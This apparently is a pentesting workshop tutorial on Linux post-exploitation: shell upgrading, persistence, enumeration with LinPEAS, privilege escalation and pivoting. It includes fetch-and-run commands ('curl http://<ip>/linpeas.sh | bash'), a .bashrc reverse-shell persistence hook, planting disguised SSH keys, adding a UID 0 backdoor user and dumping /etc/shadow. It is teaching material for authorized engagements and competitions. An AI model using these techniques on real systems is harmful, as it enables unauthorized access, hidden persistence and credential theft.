Also available here
Hi, welcome back to another week of intro to pentesting workshop. This week we’ll discuss how to hack your way into a Linux server and get root. This may seem like a checklist with a bit more explanation to you at the moment, so please don’t hesitate to ask questions on Discord or provide feedback here.
Though it might be an oversimplification, for the purposes of the workshop, let’s pretend that the goal of our fictional engagement is to gain root/system/domain admin on as many systems in the network as possible. Remember, as a pentester, your job is to find as many possible paths to root. So, let’s say that after some painstaking enumeration and exploitation, you finally spawned a reverse shell onto a Linux server. What do you do now?
Congrats on getting a foothold on this box! Though there may be other ways to get a shell on the system (e.g., C2 implants, meterpreter payloads, etc), sometimes you’ll find yourself spawning a basic netcat reverse shell on the system. A reverse shell gives you access to everything the user could do… well almost. Before long you’ll discover that on a basic, non-interactive shell:
If you don’t like this, consider upgrading your shell:
python -c 'import pty; pty.spawn("/bin/bash")'
to spawn an interactive shell.stty -a
to note down the current number of columns and rows your terminal window takes up. We’ll need it later^Z
), which suspends your reverse shell process, then type stty raw -echo
to ignore inputs (e.g., passthrough Ctrl-C into the process instead of killing to reverse shell) and to disable echoing inputs.fg
to get back into the reverse shell process. You’ll notice that the command doesn’t get echoed on screen. That’s normal.export TERM=xterm-256color
, export SHELL=bash
, then reset
. You should now see a shell prompt.stty rows <rows> cols <cols>
to configure the terminal’s dimensions.Or briefly:
1
2
3
4
5
6
7
8
9
python -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty -a
stty raw -echo
fg
export TERM=xterm-256color
export SHELL=bash
reset
stty rows <rows> cols <cols>
Enjoy your fully interactive shell!
Now that you’ve got a reverse shell, you might be tempted to immediately start poking around. Slow down! We want to secure access to this system first before we start doing anything else. Oftentimes your exploit chain to get foothold can be time-consuming or tedious to carry out (or perhaps you find out you can’t exploit the service twice the hard way, who knows), so to save time in the future in case of disconnects, we need to establish persistence on the system to make sure we can access the machine without re-exploiting anything.
There’s a few ways to secure access to the system, including but not limited to:
ssh-keygen -t ed25519
(I like ed25519 due to how short the pubkey is). Then, copy the output of cat ~/.ssh/id_ed25519.pub
into the remote machine’s ~/.ssh/authorized_keys
file. Be sure not to overwrite any existing keys! If your pubkey has a note at the end (like kali@kali
), make sure to change it to something more convincing like [email protected]
. Finally, take note that you added this key on this host so that you can remove it at the end of the engagement.~/.bashrc
so that every time a user logs onto the system, they’ll send a reverse shell your way.Since we don’t have privileged access yet, there’s not much more persistence we could do at this moment.
Confident that we can return to this machine if something goes wrong, we can begin the actual enumeration process. Just like enumerating externally available services/ports, we want to know as much as possible about this machine so that we can spot anything that’s potentially vulnerable. Needless to say, enumeration is the most important part of the process, so be as thorough as possible.
There are two ways to enumerate a machine, manual and automated. Most of time we’ll use a blend of both, since automated enumeration, while useful, often doesn’t catch everything.
My go-to automated enumeration tool on Linux is LinPEAS, which has a ton of checks for vulnerabilities (e.g., kernel exploits, etc) and oftentimes just digs up interesting information for further investigation (e.g., file containing passwords, interesting directory you might not have found, files modified in the last 10 minutes, etc). It also has a simple but useful enough color-coding system for rating how likely something is related to privilege escalation/privesc, so if you’re ever overwhelmed by the amount of information being outputted by LinPEAS, start by just skimming for red highlights. That said, sometimes I have found useful stuff in the uncolored portion of the script output, so if the script doesn’t turn up anything interesting, read the entire thing. Despite the color-coding, there may still be a lot of noise in the output, and it really comes down to experience to filter out things that don’t actually matter (watch some IppSec videos to get a feel for this).
I won’t go into too much details here since LinPEAS tends to have links to explanations of each section anyways. Just be on the look out for anything out of the ordinary.
LinPEAS is nice and all, but it doesn’t help if we can’t get it onto the box. If the machine has access to the internet, you could run curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
to start the script. But, oftentimes the host can be locked down and doesn’t have direct access to the internet. So, instead of downloading from the internet, we download the script to our machine (or whatever machine we sent the reverse shell to), then let the server download it from there (since we know the server has network access to this box given the reverse shell works).
There are many ways to upload your tool, but I find launching a simple HTTP server to be the simplest (see also HTTP server oneliners), and out of these outliners, Python is the most accessible. To start the web server, simply cd
to where you downloaded linpeas.sh
then run python3 -m http.server 80
. Python should now listen on all interfaces on port 80.
To actually download the file, first run ip addr
to find your machine’s IP address. Make sure to find the one that’s on the right subnet (i.e., one that the remote server has access to; if you’re on a VPN make sure to use the tun interface’s IP address). Once you get the address, downloading LinPEAS should be as simple as curl http://<ip>/linpeas.sh | bash
.
Manual host enumeration generally involves using commonly available commands on systems. There are a lot of commands you could run, and chances are LinPEAS covers them anyways, but I’ll go over things you could try when LinPEAS doesn’t turn up anything.
sudo -l
to see if your current user can run something as root, especially without a password. If something turns up here, chances are it’s exploitable (especially in CTF-like scenarios).find / -type f -perm -4000 2>/dev/null
)? Anyways you could abuse them (see gtfobins for cheat sheets)?systemctl list-unit-files --state=enabled
.
systemctl cat <service-name>
for more details)? Does anything look interesting? Is the script writable for you? Any lazy use of command execution that could lead to you changing what actual program is being executed by a command (e.g., use of relative paths when executing a script)?ps axjf
)? Anything out of the ordinary? Try running pspy
(unprivileged process monitoring tool; download here) to see if there’s anything running periodically (maybe you can snatch some plaintext credentials in the commandline arguments that way).ss -plnt
). Is there any services that only listens on the loopback interface (127.0.0.1, ::1)? Use SSH remote port forwarding to access the service on your own machine. Is the service running as root? Can you find exploits for it, or exploit it yourself? This also tends to be the way to go if you got foothold on a Docker container and had to find a way to escape (if regular techniques on HackTricks don’t work)ip addr
. Is there any other hosts on the subnet? Can you try pivoting to them? Perhaps you’ll find something there that’ll help you get farther on this machine later.If you’ve never heard of the phrase “privilege escalation” before, it’s just two fancy words that means getting access to users with higher privileges that you currently have through illegitimate means (su root
then typing root password doesn’t really count as privesc … unless you somehow found the password lying in a encrypted KeePassXC vault with a bruteforceable password). Privilege escalation sounds cool, but it’s not something that you can just do. Although your final goal may be to gain root (and as a pentester, find all ways to root), you’ll be completely stuck if you haven’t found what’s vulnerable. In other words, privilege escalation goes hand in hand with enumeration, and you can’t really discuss the former without the latter, so don’t start worrying about privesc if you haven’t found something interesting yet.
That said, if you’re just getting started learning about pentesting, you might not know what to look for or what privilege escalation looks like, which can make host recon/enum extremely daunting, which is why I once again implore you to watch a few IppSec video walkthroughs. If you want to catch a quick glimpse of how the process goes you can also read a few of my own writeups at #writeup/htb. Oftentimes, you’ll also find interesting services or things that you don’t know enough about, in which case I’d recommend reading about the services and then proceed to checklists like HackTricks to get a feel of common vulnerabilities of the service. And by all means, try hacking into a few HackTheBox / TryHackMe machines, and consult online guides if you’re stuck. This is really the best way to learn penetration testing.
Note that for CPTC specifically, the machines will likely not be as hard as HackTheBox ones, so if you can solve a HackTheBox machine, you shouldn’t worry too much about host privesc (but still you need to hone your skills for pivoting, report writing, etc). In a CPTC environment, I presume you should focus on not getting into rabbit holes (i.e., interesting things that is complicated to attack and hasn’t shown any hint of progress after 15-20 minutes) instead of trying to figure out complicated attack chains.
Remember trying to establish persistence earlier as a regular user? Well, now that we’re root, we can do a lot more, including but not limited to:
PermitRootLogin
to prohibit-password
or yes
in /etc/ssh/sshd_config
./etc/passwd
: Duplicate the root
line, just change the user name to something different. Since Linux only cares about user ID and not username, the root user and another user toor
that has UID 0 are virtually indistinguishable for permission checking purposes.sudo
.After establishing persistent access to root, depending on your engagement objective, you may want to extract useful data from the host. This could be dumping a database, copying sensitive files, dumping hashes from /etc/shadow
, etc. This stage can be extremely dependent on the machine you’re on. If this machine is Active Directory domain-joined, you might also find some tickets and cached hashes here, which we’ll cover later.
Reaching root on this one machine is not the end of the journey. The machine you’re on is, most of the time, connected to an internal network, which might contain other interesting hosts. Assuming they’re in scope, you’d need to figure out how to get from your current host to these other hosts (or to find out if they’re there in the first place).
One of the first things to try is to try to scan the network for hosts. You can either install nmap on the host to scan the network (which would probably trigger some alarms), or set up a proxy so that you can run nmap from your host machine. One way to do that is with SSH dynamic port forwarding: you make the compromised SSH host act as a jump pad for all your traffic tunneled over SSH. Then a simple proxychains nmap -sn ...
would work (it will be slower than regular nmap due to the proxy overhead and the lack of SYN scans). You may also want to check out chisel for a multi-platform and full-fledged tunneling tool that doesn’t need a SSH server.
See also: